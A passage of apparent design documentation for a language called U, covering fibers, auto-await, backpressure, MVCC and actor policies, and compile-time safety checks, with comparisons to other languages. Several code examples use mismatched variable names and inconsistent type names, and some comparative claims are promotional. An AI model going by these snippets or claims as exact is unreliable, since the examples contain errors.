// ─── PHASE 1: everything sync ───────────────────────────────── f lookup(key: S) -> Config // sync f handle_req(key: S) -> S cfg = lookup(key) // [A] CALL → Config immediately r => render(cfg) // ─── PHASE 2: lookup becomes async ──────────────────────────── a f lookup(key: S) -> Config // added 'a' — ONLY CHANGE // handle_req source is IDENTICAL — zero recompile f handle_req(key: S) -> S cfg = lookup(key) // [A] same CALL instruction // fiber suspends if lookup suspends // cfg gets Config — caller unchanged r => render(cfg) // ─── PHASE 3: a different caller opts into concurrency ──────── f handle_batch(keys: [S]): [S] // Explicit async: fan out all lookups concurrently jobs: [Config+A] = keys.x(k => a lookup(k)) // Auto-resolve: [Config +A] used as [Config] triggers resolution cfgs: [Config] = jobs r => cfgs.x(cfg => render(cfg)) // Phase 3 also stable: if lookup later becomes sync again, // 'a lookup(k)' produces trivially-resolved Config +A. Still correct.
The Forward Declaration
pending: T +A = a f() when f is currently sync is a forward declaration of intent:"If this function later suspends, treat the result as pending."
Today: new fiber, instant-resolved, near-zero cost.
When
f later becomes a f: same source, same call site, the result is now a pending computation.The code using the result does not change in either case.
Summary Table
| Operation | Zero-cost condition | Cost paid when | Caller changes? |
|---|---|---|---|
.c() | refcount = 1 | refcount > 1 AND mutation | Never |
auto-await result = f() | callee completes inline | callee suspends | Never |
opt-in pending: T+A = a f() | callee sync (instant resolve) | callee actually suspends | Never |
T +A forward decl | callee currently sync | callee later becomes async | Never — that's the point |
Automatic Backpressure in .x() Pipelines
When a .x() lambda returns T +A (via a at the call site), the type signals to the scheduler that this pipeline stage is concurrent. Backpressure is automatic — no semaphore, no library, no configuration.
// Sequential — inline to tight loop by compiler items.x((item) => process(item)) // Async method reference — a before the ref = async dispatch items.x(a Cool.process_item) // backpressure automatic // Async lambda with block body items.x(a (item) => ( result = a fetch(item) // suspends here if slow a db.write(result) // suspends again if needed log(result) )) // fiber suspends at each 'a' call — next item waits — that IS backpressure // no semaphore, no channel, no configuration needed // Concurrent pool — a before the outer handler items.x(a (item) => a fetch(item)) // [T +A] — bounded pool // scheduler fills pool up to limit // pool full: new items wait — backpressure // slot frees: next item starts // Await the whole batch results: [S] = a items.x(item => a fetch(item)) // outer 'a': don't return until all items resolved // Pipeline: stages compose naturally urls .x(url => a fetch(url)) // [S +A] — concurrent, backpressure applied .x(result => parse(result)) // [S] — sequential (no 'a' = auto-await per item) .x(parsed => store(parsed)) // [void] — sequential sink // items can be: array, generator, stream, another .x() chain // backpressure applies uniformly — source type doesn't matter
Default algorithm and middleware override
The default backpressure for async .x() is sequential — one item at a time. The handler suspends at each inner a call; the next item waits until the current fiber completes. Zero configuration needed.
Parallelism is opt-in via a middleware policy prepended to the handler chain. A policy handler returns none (admit), true (drop/stop), or suspends until capacity allows — same three-signal convention as all .x() handlers:
// Default: sequential, automatic backpressure items.x(a process_item) // Opt-in parallel pool — admit up to 10 concurrent items.x(Concurrency.pool(10), a process_item) // Drop when full items.x(Concurrency.drop_latest, a process_item) // Custom policy — same interface as any handler my_policy = (item) => rateLimit.check(item) ?? r => true | r => none items.x(my_policy, a process_item)
| Language | Concurrent iteration | Backpressure | How |
|---|---|---|---|
| U | .x(item => a f(item)) | automatic | type system: +A return triggers bounded pool |
| JavaScript | Promise.all(items.map(f)) | none — all start at once | OOM if items is large |
| JavaScript (library) | p_limit(10)(f) | manual semaphore | separate library, no type safety |
| Go | goroutines + WaitGroup | channel buffer | manual chan + wg.Add/Done/Wait |
| Swift | TaskGroup + add_task | structured scope | verbose, requires async context |
| Rust | stream::buffered | explicit size | Stream adaptor, manual buffer |
The Fiber Scheduler
Three Mechanisms That Cause a Fiber to Yield
| Mechanism | Syntax | When | Requires a f? |
|---|---|---|---|
| Auto-await resolution | result = pending | pending not yet resolved | no — automatic |
| Cooperative yield | a; | explicitly, let others run | yes |
| Timed yield | a n (integer) | at least n ms (lower bound) | yes |
a f. Callers then choose: auto-await (inherit the pause) or opt-in with a f() to run it on a new fiber and avoid the pause. The same co-requirement applies — timed yields are just another reason to mark a function a f.a f contains no suspension points. It runs to completion before yielding — provably synchronous, deterministic, bounded. The compiler enforces this: any a expression inside a non-a f function is a type error. No other language can state this guarantee statically.// CPU-intensive loop — sprinkle a; to stay cooperative a f process_large_dataset(data: [Item]) data.x((item, index) => heavy_compute(item) idx % 1000 == 0 & a; // yield every 1000 items ) // Timed yield — be nice for at least 5ms a f polling_loop() w+I result = check_for_updates() result & process_update(result) a 5 // yield at least 5ms between polls // a n is a lower bound — scheduler may not wake you in exactly n ms // Only hurts your fiber and callers — cannot harm other fibers // Callers defend with: job: T +A = a polling_loop() — runs on own fiber
The Event Loop — No Macrotask/Microtask Split
// Macrotask queue: ONE per tick // setTimeout, setInterval, I/O callbacks // Microtask queue: ALL drained per tick // Promise.then, await continuations // Microtasks can starve I/O callbacks: async function spin() { while (true) { await Promise.resolve() // microtask // I/O callbacks NEVER run } }
// One run queue. All fibers equal. // No macrotask/microtask distinction. // a; yields fairly — fiber goes to // back of queue, others run first a f spin() w+I a; // fair yield — I/O fibers run
Declarative Toposort — Dependencies from Types
The dependency graph is embedded in the +A types. The scheduler executes in topological order automatically — no manual orchestration.
// Independent computations — scheduler runs concurrently cfg: Config+A = a load_config() schema: Schema+A = a load_schema() // independent of cfg // Dependent — scheduler waits for both before running render page: S+A = a render(cfg, schema) // The scheduler reads the type graph: // page depends on cfg and schema // cfg and schema are independent // → run load_config + load_schema concurrently // → run render when both resolve // Zero manual dependency declaration. // The dependency graph IS the program.
Pub/Sub from the Modifier System
Multiple .x() calls on the same T +A value register subscribers that all run on resolution. This is Node.js EventEmitter — derived from the type system, not a separate API.
const emitter = new EventEmitter(); emitter.on('data', cfg => render(cfg)); emitter.on('data', cfg => cache(cfg)); emitter.on('data', cfg => log(cfg)); emitter.emit('data', loaded_cfg); // untyped, memory leak risk // no backpressure, no topology
data: Config+A = a load_config() data.x(cfg => render(cfg)) data.x(cfg => cache(cfg)) data.x(cfg => log(cfg)) // type-safe (Config, not any) // backpressure via .x() pool // topological order automatic
| Property | U T +A | Node EventEmitter |
|---|---|---|
| Type safety | full (T is the event type) | none (any) |
| Dependency tracking | compile-time from types | manual |
| Multiple subscribers | multiple .x() calls | .on() API |
| Backpressure | automatic pool limit | none |
| Memory leak risk | no (fiber lifecycle) | yes (forgotten listeners) |
| Ordering guarantee | topological from type graph | emission order |
Modifiers on Functions — The Clean Rule
a f fetch(url: S) -> S +N:—
a is a keyword (like f or d), not a modifier—
+N is a modifier on the return value— parameter modifiers describe the parameter values
Modifiers on function types as values are fine:
F() +R (escaping closure), F() +N (nullable function reference). These describe the reference, not the function's behavior.
Work Stealing & Cactus Affinity
The scheduler derives its stealing policy from one structural question: does this fiber close over any -R value? If it does, that value lives on the cactus stack — physically tied to a core — so the fiber is pinned. If it captures only +R values, nothing on the cactus holds it and the fiber may migrate freely.
| Fiber captures | Stealing policy | Why |
|---|---|---|
Any -R value | Pin to one core — cactus affinity | The -R value lives on the parent cactus segment. The cactus is tied to a core. All -R+M locals become single-threaded by structure — no mutation policy needed. |
Only +R -M values | Steal freely | Heap but immutable — any core reads safely, no coordination. |
+R +M, one retained reference | Steal freely — exclusive ownership | Compiler proves refcount = 1 at this point. No concurrent access possible. MVCC not needed — treated as -M. |
+R +M, multiple retained references | Steal freely — MVCC active | Multiple live references exist. MVCC handles concurrent access. Writers retry on conflict, readers never block. |
The structural rule is the whole policy. The compiler inspects what a fiber closes over. One -R capture anywhere in the closure → affinity for the entire fiber. Zero -R captures → free to steal. No pragma, no pin annotation, no explicit scheduler configuration.
-R+M under affinity. A cactus-pinned fiber accesses its -R+M locals from one core, sequentially. The +M annotation marks intent — "this value is mutable" — but the affinity guarantee makes coordination unnecessary. The policy is structural, not declared.
The common web server case — one HTTP request per cactus subtree, mostly -R locals waiting on IO — naturally pins to one core. Zero coordination overhead. Thousands of fibers on one core, cooperative scheduling, Node.js ergonomics without separate processes. Multicore parallelism emerges on the cases that genuinely need it: fibers that capture only +R heap values migrate freely.
.c() — User-Declared Snapshot
.c() is for +R+M heap values where you want an explicit snapshot — a logical copy independent of the original. It is separate from the automatic -R+M copies the compiler inserts at a; and steal points, which the user never writes.
The compiler tracks how many live references exist to each +R+M value at each program point. If exactly one reference is retained at the .c() site, the copy is a no-op — exclusive ownership proven, MVCC not in play. If multiple references exist, .c() produces a path-copied snapshot in O(1). The cost is paid only when contention is real.
// +R+M — user declares snapshot with .c() config: Config+R+M = load() snapshot = config.c() // refcount=1 here: no-op — exclusive ownership config.update(new_val) // plain write — no MVCC overhead at refcount=1 shared = config // refcount now 2 snap2 = config.c() // refcount=2: real path-copy, O(1) config.update(other) // MVCC write — retries on conflict // -R+M: compiler handles automatically — never write .c() for these // Compiler inserts copy at a; or steal. User code is unaffected.
Safety by Construction — Compile Errors
Every major error category below is not caught at runtime, not detected by a linter, not documented in a style guide. Each is a compile-time type error. The program does not build.
arr[0] is a compile error. Index 0 does not exist. The compiler catches literal zero indices and emits: "arrays are 1-indexed — first element is arr[1], not arr[0]." This catches the most common LLM/developer mistake when transitioning from 0-based languages. arr[arr.length] is the last element — no -1 required.Non-Logical Condition
The condition in ?! and the left side of & must be type L. Integers, strings, and nullable values cannot be used directly as conditions. Convert explicitly with L(expr) or !!(expr).
// ❌ integer as condition 5 ? 2 ! 8 // ERROR: 5 is I, not B a = 5 ? 2 ! 8 // ERROR: assignment returns I count & process() // ERROR: count is I user & show() // ERROR: user is User +N // ✅ explicit condition a == 5 ? 2 ! 8 // OK: == returns B count > 0 & process() // OK user != none & show() // OK B(count) ? "y" ! "n" // OK: cast !!(name) ? "y" ! "n" // OK: double-not // | and ?? are exempt — value selectors label = name | "default" // OK: S, not B
Use-After-Free / Scope Escape
A -R (stack) variable has no refcount and cannot outlive its scope. Assigning it to a +R slot or returning it as +R is a type error.
// ❌ stack var assigned to heap slot local: Vec2 = Vec2( x: 1.0, y: 2.0 ) // -R ref: Vec2 +R = local // ERROR: -R → +R // ❌ returning stack var as heap ref f make_point() -> Vec2 +R p: Vec2 = Vec2( x: 1.0, y: 2.0 ) // -R r => p // ERROR: -R escapes scope // ✅ explicitly promote to heap r => pt.c(+R) // OK: copies to heap first
Null Dereference
-N is the default. Any use of a +N value without a null guard is a type error. The compiler tracks nullability through every binding.
// ❌ accessing +N without check name: S +N = query() len = name.length() // ERROR: name is +N // ✅ guard before use name != none & len = name.length() name?.length() // OK: optional chain display = name ?? "—" // OK: null coalesce // ❌ returning +N where -N expected f get_user() -> User r => db.find(id) // ERROR: db.find returns User +N f get_user() -> User +N // ✅ declare it nullable
Data Race
+R +M without a +P policy is a type error. Every shared mutable object must declare how concurrent writes are mediated.
// ❌ shared mutable without policy state: Config +R +M = Config() // ✅ defaults to +M(MVCC) — or write explicitly // ✅ declare the policy state: Config +R +M +M(MVCC) = Config() state: Config +R +M +M(Actor) = Config() // ❌ two +M refs to same object a: Vec2 +R +M = Vec2() b: Vec2 +R +M = a // ERROR: +M alias without policy // ✅ policy handles concurrent access a: Ctr +R +M +M(MVCC) = Ctr() b: Ctr +R = a // OK: b is +R -M (read only)
Async Violations
a at a call site and +A on the LHS are inferred from a. Auto-await in a non-a f function is also a type error.
// ❌ a without +A on LHS result: S = a fetch(url) // ERROR: a needs +A // ❌ +A without a at call site pending: S +A = fetch(url) // ERROR: +A needs a // ✅ both together pending: S +A = a fetch(url) // OK // ❌ auto-await in non-a f function f sync() result = fetch(url) // ERROR: fetch is a f, // sync() can't suspend // ✅ declare the function suspendable a f sync() // or: use a fetch() for new fiber
Const Property Mutation
-M on a property is a const declaration. No amount of +M on the enclosing binding overrides it. Mutation requires +M at every step of the access chain.
// ❌ mutating -M property d Config host: S // -M (default) — const port: I +M // explicitly mutable cfg: Config +R +M = Config() cfg.host = "x" // ERROR: host is -M // binding's +M does not override cfg.port = 8080 // ✅ port is +M // ❌ writing through immutable binding pt: Vec2 = Vec2() // -M binding (default) x.y = 1.0 // ERROR: x is -M
Escaping Closure Capturing -R
An escaping closure (+F +R) may outlive the current scope. It cannot capture -R stack variables — those will be gone when the closure runs.
// ❌ escaping closure captures stack var f setup() msg: S = "hello" // -R stack cb: (->S) +F +R = () => console.log(msg) // ERROR: cb is +F +R, // msg is -R — will escape // ✅ non-escaping: must be called within scope cb: (->S) +F -R = () => console.log(msg) // OK: -R closure, in-scope only // ✅ or promote msg to heap msg: S +R = "hello".c(+R) cb: (->S) +F +R = () => console.log(msg)
Injection Attack
Functions expecting Html or Sql types reject raw S strings. The only way to produce Html is via html`...` which escapes all interpolations at compile time.
// ❌ raw string where Html expected f render(page: Html) ... content: S = "<h1>" + input + "</h1>" render(content) // ERROR: S is not Html // ✅ html template: input is escaped content = html`<h1>{input}</h1>` // type: Html render(content) // OK // ❌ dynamic template tag tag = html page = tag`{input}` // ERROR: tag must be literal
Implicit Copy / Surprise Allocation
There are no implicit copies. Assignment retains (refcount++). Only .c() copies. The compiler has a static copy budget per function.
// ❌ no hidden copies anywhere a: [I] +R = [1, 2, 3] b = a // retain: refcount++, no copy b.append(4) // ERROR: b is not +M // (and mutation would affect a) // ✅ explicit copy when you need independence b = a.c() // explicit copy, now independent b +M .append(4) // OK: b is its own array // ❌ function with unknown copy count // Every .c() is visible — static copy budget // is proven at compile time
Summary — Error Categories Eliminated
| Error | How U prevents it | Languages where it's runtime |
|---|---|---|
| Unhandled error type | Declared ! ErrType errors checked for exhaustive handling at call site | All languages (runtime) |
| Non-logical condition | ?! condition and & require L; 5 ? 2 ! 8 is a type error | C, JS, Python, Ruby |
| Use-after-free | -R cannot be assigned to +R — type error | C, C++, Zig (manual) |
| Null dereference | -N default — +N access without guard is type error | C, Java, JS, Go, Swift (partial) |
| Data race | +R +M defaults to +M(MVCC) — explicit unsafe sharing impossible | Go (race detector), C, C++ |
| Async cascade / coloring | a/+A co-requirement — mismatch is type error | JS, Swift, Python, Rust async |
| Use-after-await | +A annotation on locals — missing it is type error | JS (closure capture bugs) |
| Const mutation | -M property — assignment is type error regardless of binding | C++ (UB), Java (partial), JS |
| Closure scope escape | +F +R cannot capture -R — type error | C++ (UB), Swift (partial) |
| XSS injection | Raw S ≠ Html — type error at function boundary | All languages without template types |
| SQL injection | Raw S ≠ Sql — type error at function boundary | All languages without typed queries |
| Surprise allocation | No implicit copies — static copy budget proven per function | C++, Rust (some cases), Swift |
| i18n missing keys | localized`{key}` — missing locale key is compile error | All languages (runtime crash) |
Zero index (arr[0]) | Arrays are 1-indexed — literal index 0 is a compile error with diagnostic | All 0-based languages (silent wrong element or runtime crash) |
Access Policies
Every +R +M binding requires a +M(Policy) declaration. Write policies go on +M (+M(Actor), +M(MVCC), etc.) and govern how concurrent writes are mediated. Lifetime/cleanup policies go on +R (+R(RAII)) and fire when the last reference drops. GC is one policy among many — and not the default. The default for +R is ARC without atomics (single-threaded fiber scheduler means no cross-thread refcount races).
| Policy | Semantics | Cleanup | Best for |
|---|---|---|---|
+R(RAII) | drop() fires when last ref drops — deterministic | Immediate, ref-counted | File handles, GPU resources, DB connections |
+M(MVCC) DEFAULT | Optimistic: readers never block, writers get a new version; conflicts retry | Old versions GC'd when no readers hold them | Config, shared state with rare writes |
+M(CRDT) | Commutative merge: all writes eventually consistent, no conflicts | Refcounted | Distributed counters, sets, logs |
+M(Actor) | Serialized message queue: all access goes through the actor's inbox | Refcounted | Mutable state with concurrent writers, UI components |
+M(Mutex) | Exclusive lock: one writer at a time, readers block | Refcounted | Low-level critical sections |
+R(Network) | Remote proxy: reads/writes are serialized RPC calls | Remote lifetime | Microservices, distributed objects |
// RAII: drop() fires deterministically on last ref d DbConn+R(RAII) handle: I f drop(conn: DbConn+R) => db.close(conn.handle) f query(sql: S) -> S conn: DbConn+R = DbConn.open() // refcount=1 result = conn.exec(sql) r => result // conn refcount→0: drop() fires, connection closed // No finally, no try-with-resources, no defer // MVCC: readers never block, writers get a new version config: AppConfig+R+M(MVCC) = AppConfig.load() config.reload() // new version; existing readers see old version until done // Actor: all access serialized through message queue d Counter+M(Actor) count: I+M = 0 f increment() => t.count = t.count + 1 f get() -> I => r => t.count // Concurrent callers are queued — no data race, no mutex annotation
Comparison: how other languages manage state lifetime
| Language | Default | Deterministic cleanup? | Shared mutable | Notes |
|---|---|---|---|---|
| Java | GC (non-deterministic) | No — finalize() deprecated | synchronized, volatile | try-with-resources for manual RAII. GC pauses unpredictable. |
| C++ | Manual + RAII pattern | Yes — destructors | std::mutex, std::atomic | shared_ptr = ARC but with atomic refcount overhead. Easy to misuse raw pointers. |
| Go | GC | No — use defer | Channels, sync.Mutex | defer is explicit and forgettable. No deterministic cleanup. |
| Rust | Ownership + Drop | Yes — ownership enforces it | Arc<Mutex<T>> | Deterministic, zero-overhead. Borrow checker annotation burden. No MVCC/CRDT out of box. |
| JavaScript | GC | No | none — single thread | No deterministic cleanup. WeakRef / FinalizationRegistry best-effort only. |
| U | -R stack (free), +R ARC without atomics | Yes — +R(RAII) on last ref drop | +M(Actor|MVCC|CRDT|Mutex) | Policy declared at binding site. GC available as a policy but not the default. Single-threaded fiber scheduler means ARC needs no atomic operations. |
+R +M without an explicit write policy is +M(MVCC). Readers never block. No deadlocks. Write conflicts retry automatically. When you have a measured reason to trade correctness for throughput: +M(Actor) for serialized writes, +M(Mutex) for raw lock performance, +M(CRDT) for eventual consistency. The same direction as Rust's safety model — safe by default, opt into unsafe when you need to.
-R) is zero cost — they disappear at scope exit. The default for heap values (+R) is ARC — deterministic, immediate cleanup, no GC pauses. For cases where you genuinely want GC semantics (long-lived object graphs with complex reachability), +R(GC) is available. You opt into the tradeoff explicitly rather than having it imposed on everything.
MVCC — Default Write Policy
+R +M without an explicit write policy defaults to +M(MVCC). You never write it — it's just what happens. Override to a cheaper policy when you have profiled a reason.
| Semantics | |
|---|---|
| Readers | Never block. Each reader sees a consistent snapshot at the moment it starts reading. |
| Writers | Optimistic. Write completes; if another fiber modified the same object between your read and write, your write retries automatically. |
| Atomicity unit | The +R +M(MVCC) object plus all its inline (-R) properties and inline maps. They change as one version. +R properties inside have their own separate versioning. |
| Cross-object transactions | Not in v1. If A and B must change together, make them fields of one object. |
// +R +M defaults to MVCC — no annotation needed config: Config+R+M = Config.load() d Config host: S // inline -R — atomic with Config port: I+M // inline -R — atomic with Config flags: {S: L} // inline map — atomic with Config cache: Cache+R(RAII) // separate heap object — its own versioning // Writing host + port + flags atomically — one version, one commit config.host = "newhost" config.port = 9090 config.flags["debug"] = true // All three committed as one unit — other fibers see old or new, never partial
The << patch operator
The atomic write primitive. obj << { field: new_val } is one MVCC version swap — recursively patches inline (-R) fields, stops at +R boundaries (those are separate objects). For large arrays and maps, the runtime uses path-copying persistent data structures: O(log n) writes, structural sharing, disjoint patches never conflict.
// Atomic multi-field patch — one MVCC version swap config << { host: "newhost", port: 9090 } // atomic, retries on conflict // Nested inline — recursively patches -R fields server << { address: { host: "new" }, port: 443 } // address.scheme unchanged // Array element patch — O(log n), structural sharing items << { [500]: updated_item } // path-copies only the path to index 500 // Two concurrent fibers — no conflict if different indices // Fiber A: items << { [500]: val_a } ✅ different subtrees // Fiber B: items << { [700]: val_b } ✅ both commit // On -R local: same syntax, no MVCC overhead (compiler knows) local_config << { port: 9090 } // plain field update, -R = no versioning
Exception handling and rollback
The fiber's uncommitted write-set is rolled back or committed based on how its exception handler responds. No begin/commit/rollback keywords.
e.x() handler returns | Write-set | Fiber |
|---|---|---|
true | Committed — handler affirmed the writes are valid | Continues |
none or false | Rolled back — silence means unhandled, fail closed | Exception propagates |
| Uncaught exception | Always rolled back | Fiber exits |
e.x((err: ValidationError) => ( log(err.msg) r => true // handled — writes committed, fiber continues )) e.x((err: CorruptStateError) => ( alert(err.msg) // returns none — unhandled, writes rolled back, propagates up )) // Fail closed: forgetting to return true = rollback, not silent commit // You must consciously affirm the write-set is valid
+M(Actor) for serialized writes with lower memory overhead, +M(Mutex) for raw lock performance, +M(CRDT) for eventual consistency. The default protects you; the overrides let you trade correctness guarantees for throughput.
Exceptions, RAII & Null — U vs C++, Java, Rust, Go
Exception handling
| Language | Mechanism | Typed? | Exhaustiveness | Happy path noise |
|---|---|---|---|---|
| C++ | try/catch — throw anything, even ints | No | none | High — try/catch blocks everywhere |
| Java | Checked + unchecked. throws Exception on everything | Partially | Checked only — widely bypassed | High — try/catch/finally verbosity |
| Python | try/except/finally — any object throwable | No | none | High |
| Go | Return (T, error) — no exceptions | Yes | Ignored silently if you forget to check | High — if err != nil everywhere |
| Rust | Result<T,E> + ? operator — no exceptions | Yes | Compiler enforces handling | Medium — ? at every fallible call |
| JavaScript | try/catch/finally — untyped, Promise.catch async | No | none | High + async split |
| U | e.x() typed handlers, object interfaces, library policies | Yes | Compiler checks ! Type vs e.x() registrations | Zero — handlers declared once, happy path clean |
throws Exception everywhere, defeating the purpose. U solves this with inheritance: ! NetworkError covers TimeoutError : NetworkError and every future subtype. One declaration covers the whole family.
Policy arrays vs try/catch — side by side
The same error handling scenario in Java, C++, and U. The Java and C++ versions are not pathological — they are idiomatic. The noise is intrinsic to the mechanism.
// Every caller must list all thrown types // or add throws Exception — defeating the purpose public Response fetch(String url) throws NetworkException, TimeoutException, SSLException { // ... } try { var result = fetch(url); // happy path process(result); // buried under catch blocks } catch (NetworkException e) { logger.warn(e.get_message()); retry(); } catch (TimeoutException e) { backoff(e.get_delay()); } catch (SSLException e) { alert_security(e); } finally { cleanup(); } // Reuse? Copy-paste. No policy objects.
// Untyped — anything throwable // No exhaustiveness checking Response fetch(std::string url); // (what does it throw? read the docs, maybe) try { auto result = fetch(url); process(result); } catch (const NetworkError& err) { logger.warn(err.what()); retry(); } catch (const TimeoutError& err) { backoff(err.elapsed); } catch (...) { // silently swallows anything else } // Stack unwinding fires on every throw // Reuse? Inline only. No composable policies.
// Policies are typed arrays — defined once, reused everywhere network_policies: [(NetworkError)->()] = [ log_to_sentry, // ordered, defined by library notify_oncall, retry_on_recoverable ] // Every call site — one line, happy path clean a f run(url: S) e.x(MyLib.network_policies) // spread array onto chain e.x(MyLib.ssl_policies) // multiple arrays composable // compiler: all ! NetworkError ! SSLError covered ✅ result = a fetch(url) // happy path reads first, clean process(result) // Inheritance: ! NetworkError covers TimeoutError : NetworkError // No need to list every subtype — the Java checked-exception trap avoided // Zero-cost happy path — handler tables built statically, no stack unwinding
- Define handlers once in a library, use at 100 call sites —
e.x(MyLib.network_policies) - Compiler verifies all declared
! Typeerrors are covered — no missed cases - Early-exit chain: one handler returning
falsestops that type's chain, others unaffected - Happy path appears first and reads clean — error handling is a preamble, not a wrapper
- Inheritance means
! NetworkErrorcovers all subtypes — no Java-style subtype explosion - Static dispatch tables — zero cost when no exception is thrown, no stack unwinding on throw
RAII — resource cleanup
| Language | Mechanism | Automatic? | Notes |
|---|---|---|---|
| C++ | Destructors on stack objects. Smart pointers (unique_ptr, shared_ptr) | Yes | RAII is a pattern — not enforced. Easy to misuse raw pointers. shared_ptr has atomic refcount overhead. |
| Java / Python / JS | GC — no deterministic cleanup. try-with-resources / with / using as workarounds | No | Cleanup is non-deterministic. File handles, DB connections left open until GC decides to run. |
| Rust | Drop trait. Ownership ensures exactly-once drop. No GC. | Yes | Deterministic, zero overhead. But borrow checker annotation burden. No shared ownership without Arc<Mutex<T>>. |
| Go | defer — explicit, not automatic | No | You must remember to write defer file.Close(). Forgotten defers = resource leaks. |
| U | +R(RAII) on class — drop() fires when last reference drops | Yes | ARC without atomics (single-threaded fiber scheduler). Deterministic. No borrow checker. Works with shared +R refs — drops when refcount hits zero. |
// +R(RAII): drop() called automatically when last +R ref drops d FileHandle+R(RAII) fd: I f drop(t: FileHandle+R) // compiler calls this on last-ref-drop os.close(t.fd) // No defer, no try-with-resources, no explicit close() f read_config() -> S fh: FileHandle+R = open("/etc/config") // refcount=1 data = fh.read() r => data // fh refcount→0 here: drop() fires, fd closed // vs C++: shared_ptr uses atomic refcount (expensive cross-thread) // U: ARC is plain integer arithmetic — no atomics (single-threaded fibers)
Null safety
| Language | Null representation | Null dereference | Default |
|---|---|---|---|
| C / C++ | Null pointer (nullptr) | Undefined behavior — crash or worse | Nullable by default |
| Java | null reference | NullPointerException at runtime | Nullable by default |
| JavaScript | null and undefined | TypeError at runtime | Nullable by default |
| Swift | Optional<T> — must unwrap | Compile error (if you use ! force-unwrap: crash) | Non-null default |
| Kotlin | T? nullable type | Compile error | Non-null default |
| Rust | Option<T> — must match/unwrap | Compile error | Non-null default |
| Go | Nil pointers, nil interfaces | Runtime panic | Nil by default |
| U | T +N — explicit nullable annotation | Compile error — +N value requires guard before access | -N by default — non-null without annotation |
if let, ?.let). Rust requires pattern matching. U uses name != none & use(name) or name ?? fallback — the same operators used for every other conditional. No special null-unwrapping syntax to learn.
Async & Concurrency: U vs Go, JavaScript, Swift+GCD
U vs JavaScript — Structure vs Convention
JS async/await unwinds the entire call stack at each await. Every local variable surviving the suspension is serialized to a heap-allocated Promise closure. This is why async infects callers — the return type changes from T to Promise<T>.
// Every await: full stack unwind to event loop // Local state serialized to heap Promise closure // async infects every caller in the chain async function main() { await process_all(items) // infected } async function process_all(list) { for (const item of list) { await fetch(item) // infected } } // Two queues: macrotask (1 per tick) + // microtask (ALL drained per tick) // Microtasks can STARVE I/O callbacks
// Auto-await: fiber stack stays in memory // No serialization. No heap per await. // No annotation on main() — no coloring f main() process_all(items) // plain call f process_all(list: [Item]) list.x(item => result = fetch(item) // auto-await store(result) ) // One scheduler. No queue distinction. // I/O never starved.
| Property | U | JavaScript |
|---|---|---|
| Await syntax | none (auto-await default) | await everywhere |
| Async opt-in | a f() → T +A | return Promise, await caller |
| Heap per await | no — fiber stack preserved | yes — Promise closure |
| Coloring | solved | present |
| Queue starvation | impossible | microtasks starve I/O |
| Backpressure | automatic (.x(k => a f(k))) | library only (p-limit) |
| Generator yield depth | any depth (stackful fibers) | top-level only (stackless) |
U vs Go — Same Ergonomics, Better Guarantees
Go is the closest language to U's concurrency ergonomics. Goroutines solve coloring — any function can block, no annotation needed. The differences are frame size, the absence of a pending type, and safety.
// Fan-out/fan-in requires ceremony var wg sync.WaitGroup results := make([]Config, len(keys)) for i, key := range keys { wg.Add(1) go func(i int, key string) { defer wg.Done() results[i] = lookup(key) // full stack saved }(i, key) // subtle closure bug risk } wg.Wait() // goroutine saves ENTIRE stack // no equivalent of +A to minimize // nil pointers: runtime panics
// Fan-out/fan-in — two lines jobs: [Config+A] = keys.x(k => a lookup(k)) cfgs: [Config] = jobs // auto-resolve // Fiber frame = only +A values saved // (not entire stack) // -N default: null = compile error // No WaitGroup. No closure bug. // No pre-allocated result slice.
| Property | U | Go |
|---|---|---|
| Coloring | solved | solved (goroutines) |
| Frame at suspension | only +A values | full goroutine stack |
| Pending type | T +A | none (channels/WaitGroup) |
| Fan-out/fan-in | .x(k => a f(k)) | WaitGroup + goroutines |
| Null safety | -N default (type error) | nil panics at runtime |
| Injection safety | type error | none |
| GC | none (ARC) | GC pauses |
U vs Swift + GCD — Annotations vs Structure
Swift evolved from GCD completion handlers, to Combine, to async/await (5.5+). Each model accumulated annotations. U encodes the same constraints structurally.
// Actor: new keyword, new rules actor Counter { var value = 0 func increment() { value += 1 } } await counter.increment() // infects callers // @escaping: separate annotation func on(handler: @escaping () -> Void) { } // TaskGroup: verbose structured concurrency await with_task_group(of: Config.self) { group in for key in keys { group.add_task { await lookup(key) } } } // 'in' keyword: 4 different meanings in Swift
// Actor = class with proxy policy d Counter +M(Actor) value: I f increment(c: Counter+R+M) t.value = t.value + 1 counter.increment() // no await needed // @escaping = +R on closure f on(handler: F()+R) { } // TaskGroup = .x() with 'a' cfgs = a keys.x(key => a lookup(key)) // 'in' keyword: zero uses in U
| Property | U | Swift + GCD |
|---|---|---|
| Coloring | solved | present (Swift 5.5+) |
| Escaping closures | +R modifier | @escaping annotation |
| Actor model | proxy policy on class | actor keyword + 3 annotations |
| Concurrent iteration | .x(k => a f(k)) | with_task_group { group in ... } |
| Keyword reuse | zero | in: 4 different meanings |
| GC | none | weak/unowned GC cycles |
U vs everyone — unified events, promises, and backpressure
| Feature | U | JavaScript | Go | Swift |
|---|---|---|---|---|
| Promises and events | Same primitive — typed arrival dispatch | Separate: Promise vs EventEmitter | Separate: goroutine vs channel vs callback | Separate: async/await vs Combine |
| Execution ordering | Derived from +A dependency DAG | Manual (explicit await chain) | Manual (channel sequencing) | Manual (Task dependencies) |
| Backpressure default | .x() sequential — explicit opt-in for fan-out | None — everything concurrent | Buffered channel size | None — actor mailbox unbounded |
| Passing +A to sync function | a f(pending) — auto-lift, returns T+A | Must manually await first | Must use channel receive | Must explicitly await |
| Concurrent multiple inputs | [p1,p2].all() — type-safe join | Promise.all (untyped array) | select statement | async let + await |
| Race first-wins | [p1,p2].any() | Promise.race | select first case | withTaskGroup + return first |
| Event dispatch | Type IS event name | String name (.on("click")) | Channel type | Combine publisher type |
U vs Swift — Annotations as Architecture vs Annotations as Workarounds
Swift's structured concurrency is well-designed, but each annotation exists to plug a hole in a model that wasn't built around a single algebra. The result is a proliferation of distinct mechanisms for problems that U handles with the same two tools: the modifier algebra and the cactus stack.
| Swift mechanism | What problem it solves | U equivalent | Why U doesn't need the mechanism |
|---|---|---|---|
@escaping | Marks closures that outlive their declaring scope | Values that outlive their scope are +R | The cactus stack retains parent frames for child fibers automatically — +R is only needed when a value genuinely escapes the tree |
[weak self], [unowned x] | Prevents retain cycles in closures | Biased ARC with O(1) cycle detection | No retain cycles are possible in the cactus model — parent pointers are one-directional; the cycle problem doesn't arise |
async/await | Marks async functions and suspension points | a f declaration, auto-await default | a marks the function once; callers get auto-await with no annotation. No coloring — calling an a f from a non-a f doesn't require rewriting callers |
